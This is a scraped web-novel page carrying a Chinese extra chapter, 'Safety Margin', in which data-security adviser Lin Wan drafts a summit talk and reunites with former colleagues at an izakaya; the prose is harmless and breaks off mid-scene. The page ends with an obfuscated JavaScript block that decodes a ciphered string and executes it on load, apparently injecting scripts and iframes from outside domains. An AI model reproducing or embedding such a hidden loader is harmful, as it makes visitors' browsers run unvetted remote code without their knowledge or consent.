首页
[切换至繁体版]
返回

番外第46章安全边际

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    番外第46章安全边际(第1/2页)
    峰会的邀请函静静躺在邮箱里。林晚点开,附件是详细的议程和嘉宾名单。她的名字后面跟着“独立数据安全顾问/‘萤火’公益发起人”,紧挨着姚浮萍的“龙胆科技首席技术官”。
    她回复了确认邮件,开始准备讲稿。主题定为“看不见的边界:公众数据安全中的认知偏差与自我保护”。搜集案例时,她不可避免地回顾起龙胆科技早期的数据泄露事件,以及后来“五彩绫镜”应对隐私悖论的种种方案。
    手机震动,是曹辛夷的消息:“听龙胆草说你要来峰会?正好,我负责国际分论坛,晚上一起吃个饭?老地方,叫上姚浮萍?他好像也在准备一个很硬核的技术发布。”
    林晚指尖悬在屏幕上方。老地方,是他们过去加班后常去的那家日式居酒屋。叫上姚浮萍?
    她回复:“好。不过姚总那边,你确定他会来?”
    曹辛夷发了个偷笑的表情:“我试试。大不了让龙胆草去请。”
    窗外的天色渐渐暗下来。林晚保存文档,靠在椅背上。峰会,重逢,旧地,故人。这些词汇交织在一起,像一张熟悉的网,轻柔地罩下来。她不再像几年前那样感到紧绷或抗拒,反而有一种奇特的平静。或许,真正的安全边际,并不在于物理的隔绝,而在于内心对过往的和解,以及对自身道路的确信。
    ---
    夕阳的最后一点余晖从西窗斜射而来,在书桌的木纹上拖出一道长长的、温暖的光痕,然后悄无声息地隐没。房间里的光线柔和下来,从明亮转为一种静谧的昏黄。
    林晚保存了刚刚修订的讲稿,文档标题在屏幕上清晰显示:《看不见的边界:公众数据安全中的认知偏差与自我保护》。她靠在椅背上,长长地舒了一口气,活动了一下有些僵硬的脖颈和肩膀。电脑旁,摊开着几本学术期刊的打印稿,屏幕上还开着几个浏览器窗口,显示着各种数据泄露案例分析和公众调研报告。
    准备这份讲稿的过程,像是一次系统性的回溯。她不得不重新梳理那些年发生过的、或惊心动魄或潜移默化的数据安全事件。从最初龙胆科技“星链”项目测试数据离奇泄露的疑云与震荡,到后来“五彩绫镜”项目在追求极致隐私保护时,反而遭遇的“隐私悖论”挑战——用户既渴望安全,又抱怨便利性受损;既恐惧数据被滥用,又忍不住在社交平台分享过多信息。
    这些案例,有些是她亲身经历、至今想起仍觉惊心的;有些是她离开核心圈后,以旁观者身份观察到的行业变迁。每一个案例背后,都牵扯着复杂的技术漏洞、人性弱点、利益博弈和认知局限。她试图在讲稿里,不仅仅呈现问题和解决方案,更想引导听众去思考那个更深层的问题:在数字时代,我们与自身数据之间,那道“看不见的边界”究竟在哪里?我们又该如何主动去定义和守护它?
    这工作耗费心神,却也让她感到一种充实的平静。她不再是那个在风暴中心、被动应对甚至制造问题的“变量”,而是成为一个梳理者、讲述者、倡导者。视角的转换,带来了心境的迥异。
    桌角的手机屏幕亮了一下,发出轻微的震动声。
    林晚拿起来,解锁。是曹辛夷发来的微信消息。
    “听龙胆草说你要来峰会?”文字后面跟了个小小的、咧嘴笑的表情符号,是曹辛夷一贯的活泼风格。
    “正好,我这次负责国际分论坛的协调,一堆老外面孔,头大。”第二条消息紧随而至,“晚上有空不?一起吃个饭?老地方。我打算叫上姚浮萍那家伙,他好像也在憋一个大招,准备在峰会上发个很硬核的技术白皮书什么的,正好聊聊。”
    老地方。
    林晚的指尖悬在屏幕上方,没有立刻落下。这三个字像一把小而精准的钥匙,轻易就打开了一扇尘封但并未上锁的门。
    那家藏在科技园区后街小巷里的日式居酒屋。门脸不大,挂着暖帘,木质招牌被岁月磨得温润。里面总是弥漫着烤物的焦香、清酒的微醺,以及一种令人放松的、属于夜晚的嘈杂。那里曾是他们——龙胆草、曹辛夷、姚浮萍,偶尔还有九里香或姚厚朴——在项目攻坚、连续加班后,最常去的据点。几杯啤酒,几串烧鸟,就能暂时卸下紧绷的神经,说些工作之外的闲话,或者干脆什么也不说,只是静静地消化疲惫。
    她也去过几次,大多是在身份暴露、风波渐息之后。坐在那里,听着炭火噼啪,看着玻璃杯壁上凝结的水珠,会有一种奇异的抽离感,仿佛那些惊心动魄的争斗、那些深夜的代码、那些会议室里的交锋,都暂时被隔在了暖帘之外。
    自从她离开龙胆科技,专注于“萤火”公益,生活半径发生了变化,已经很久没有再去过那里了。曹辛夷和龙胆草倒是还会偶尔去,她知道。姚浮萍……以他那工作狂的性子和对社交的寡淡,去居酒屋的频率恐怕极低。
    叫上姚浮萍?
    林晚几乎能想象出曹辛夷发出这条消息时,脸上那种带着点促狭又理所当然的表情。曹辛夷总是这样,擅长在看似不经意的安排中,轻轻推动一些事情。她或许是想借这个机会,让这几个因往事而关系微妙的人,在一个非正式的、轻松的环境里,以新的身份重新坐在一起。毕竟,即将到来的峰会上,他们的名字将以某种方式再次并列。
    指尖落下,敲出回复:“好。不过姚总那边,你确定他会来?”
    消息几乎是秒回。曹辛夷发了个“偷笑”的表情,然后是一行字:“我试试。他要是摆架子,大不了让龙胆草亲自去技术部‘请’他。反正龙胆草也想跟你聊聊峰会细节。”
    林晚看着屏幕,嘴角不自觉地上扬了一下。曹辛夷还是老样子,看似随性,实则总能找到最有效的“杠杆”。
    她回了个“OK”的手势,放下手机。
    窗外的天色已经完全暗了下来,远处楼宇的灯光一盏盏亮起,连成一片璀璨的星河。书桌上的台灯自动感应亮起,洒下一圈温暖的光晕。
    林晚没有立刻起身去换衣服或做什么准备。她只是静静地靠在椅背上,望着窗外那片熟悉的城市夜景,任由思绪飘荡。
    峰会。重逢。旧地。故人。
    这些词汇在脑海中盘旋,交织,像一张看似疏阔、实则坚韧的网,带着熟悉的触感,轻柔地笼罩下来。换做是几年前,刚离开龙胆科技、内心仍充满自我怀疑与对过往的警惕时,这样的邀约或许会让她感到无形的压力,甚至下意识的抗拒。她会反复思量每一个细节,预演可能的对话,评估其中的风险与意义。
    但现在,那种紧绷感已经消失了。取而代之的,是一种奇特的平静,甚至带着一丝隐约的期待。
    是因为时间冲淡了芥蒂吗?或许是的。这些年,她与龙胆草、曹辛夷保持着一种舒适而互不打扰的友谊,偶尔在行业活动或公益项目上交集,彼此尊重,也彼此祝福。与姚浮萍的关系则更为微妙和缓慢,像两块曾经激烈碰撞的石头,在时间的溪流中,逐渐被磨去了尖锐的棱角,只剩下沉默的、坚实的轮廓,以及偶尔因工作而产生的、精确而高效的共鸣。
    但更重要的是,她自己找到了安身立命之所。“萤火”公益从一个小小的想法,慢慢成长为一个有影响力、有具体成果的组织。她帮助了很多人,也在这个过程中,不断地重新认识和定义自己。她不再需要依附于某个平台或某段过去来确认自己的价值。她站在了自己选择的道路上,并且走得踏实、坚定。
    或许,这才是真正的“安全边际”。
    它并不在于物理空间的绝对隔绝,不在于与过去人事的彻底切割,也不在于对外界评价的无动于衷。真正的安全边际,或许在于内心对过往伤痕的和解与接纳,在于对自身选择的确信与坚持,在于拥有了无论身处何种情境、面对何人,都能保持内核稳定的力量。
    知道从哪里来,清楚要往哪里去。如此,便无惧重逢,也无畏任何形式的“边界”挑战。
    林晚轻轻吐出一口气,感觉胸腔里一片澄明。她站起身,走到窗边,看着玻璃上倒映出的自己的身影,模糊而宁静。
    该换件衣服,去“老地方”了。
    ---
    居酒屋里的氛围一如既往。暖黄的灯光,深色的木质结构,空气中浮动着烤鳗鱼的甜香和清酒的清冽。正是晚饭时间,吧台和几张矮桌边都坐着客人,低声交谈声和碗碟轻微的碰撞声交织在一起,热闹而不喧闹。
    林晚掀开暖帘走进去时,曹辛夷已经在了,正坐在他们过去常坐的那个靠里侧的半封闭卡座里,朝她挥手。曹辛夷今天穿着一件剪裁利落的米白色衬衫,头发松松地挽起,几缕碎发垂在颈边,显得干练又随性。
    “来啦!这边!”曹辛夷的笑容明亮,带着毫不掩饰的欣喜。
    林晚走过去,脱下薄外套搭在椅背上,在她对面坐下。“你到得真早。”
    “刚从会场那边过来,一堆事儿,头疼死了。赶紧过来喝一杯缓一缓。”曹辛夷说着,已经给她倒了一杯冒着细密泡沫的朝日生啤,“姚浮萍那家伙,果然还得龙胆草出马。龙胆草亲自去技术部把他‘挖’出来的,说马上到。”
    正说着,暖帘再次被掀开。先进来的是龙胆草,他穿着简单的深色POLO衫和休闲裤,脸上带着一丝工作后的疲惫,但眼神依旧锐利有神。他身后,跟着姚浮萍。
    姚浮萍还是那副一丝不苟的样子,浅灰色的衬衫扣子系到最上面一颗,西装外套搭在手臂上,手里还拿着一个平板电脑。他走进来,目光习惯性地在室内扫了一圈,然后落在卡座这边,对上林晚的视线,微微点了点头。
    “抱歉,稍微晚了点。”龙胆草走过来,很自然地坐在了曹辛夷旁边,也就是林晚的斜对面。
    姚浮萍则在林晚旁边的空位坐下——这是卡座最后一个位置。他先将平板电脑小心地放在内侧,然后脱下西装外套,整齐地折好,放在平板电脑旁边。
    “姚总。”林晚客气地打招呼。
    “林晚。”姚浮萍回应,语气平淡。他的目光在她脸上停留了一瞬,似乎想说什么,但最终只是移开,看向了桌上的菜单。
    曹辛夷已经招呼服务员开始点菜:“老规矩,先来拼盘烧鸟,盐烤和酱烤的各一半。刺身拼盘,要新鲜的。烤鳗鱼来一份,鳕鱼西京烧……哦对了,姚浮萍,你要吃茶泡饭对吧?还是梅子茶泡饭?”
    (本章未完,请点击下一页继续阅读)番外第46章安全边际(第2/2页)
    “嗯。”姚浮萍应了一声,算是确认。
    “清酒呢?还是你只喝乌龙茶?”曹辛夷转向姚浮萍。
    “乌龙茶,谢谢。”姚浮萍说。
    “就知道。”曹辛夷笑着对服务员补充,“再加一壶热乌龙茶。我们嘛,先来一壶‘獭祭’吧,温的。”
    点完菜,气氛有片刻的沉默。炭火在开放式厨房里噼啪作响,香气渐渐浓郁起来。
    龙胆草端起啤酒杯,喝了一口,然后看向林晚,开口打破了安静:“讲稿准备得怎么样了?我看你定的题目很有意思,‘看不见的边界’。”
    林晚点点头:“差不多了。主要想从公众认知的角度切入,结合一些实际案例,包括……”她顿了顿,“包括我们过去遇到过的一些典型问题,当然会做匿名化处理。重点是想强调,技术防护固然重要,但用户自身的认知和行为,往往是安全链上最薄弱也最可控的一环。”
    “这个角度很好。”龙胆草表示赞同,“现在行业里太多人只盯着技术攻防,忽视了人的因素。你来做这个分享,很有说服力。”
    “说服力?”姚浮萍忽然开口,声音不高,却让其他三人都看向他。他正用筷子夹起一块服务员刚送上的毛豆,动作一如既往的精确,“是基于‘萤火’的公益实践数据,还是基于……个人经历的反省与提炼?”
    他的问题很直接,甚至有些尖锐,典型的姚浮萍风格,不绕弯子,直指核心。
    林晚没有感到被冒犯。她早已习惯姚浮萍的这种交流方式。她思考了一下,认真回答:“两者都有。‘萤火’这几年做了大量的社区调研和科普干预,积累了一些关于公众认知偏差和行为改变的有效数据。这些是实证基础。而个人经历……”她坦然迎上姚浮萍镜片后平静审视的目光,“确实提供了更深刻的洞察。有些错误,有些恐惧,有些觉醒,只有亲身在漩涡里挣扎过的人,感受才最真切,反思也才可能触及本质。我想分享的,不是猎奇的故事,而是从那些经历中抽象出来的、具有普遍参考价值的认知模型和行动建议。”
    姚浮萍静静地听着,手里无意识地转动着茶杯。过了一会儿,他才说:“认知模型需要经受逻辑检验和现实数据的验证。你的讲稿,如果需要技术层面的案例补充或数据支持,可以找我。”他顿了顿,补充道,“有些早期事件的完整技术复盘和数据,我那里有更详细的归档。”
    这话让林晚有些意外。姚浮萍这是在主动提出提供帮
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();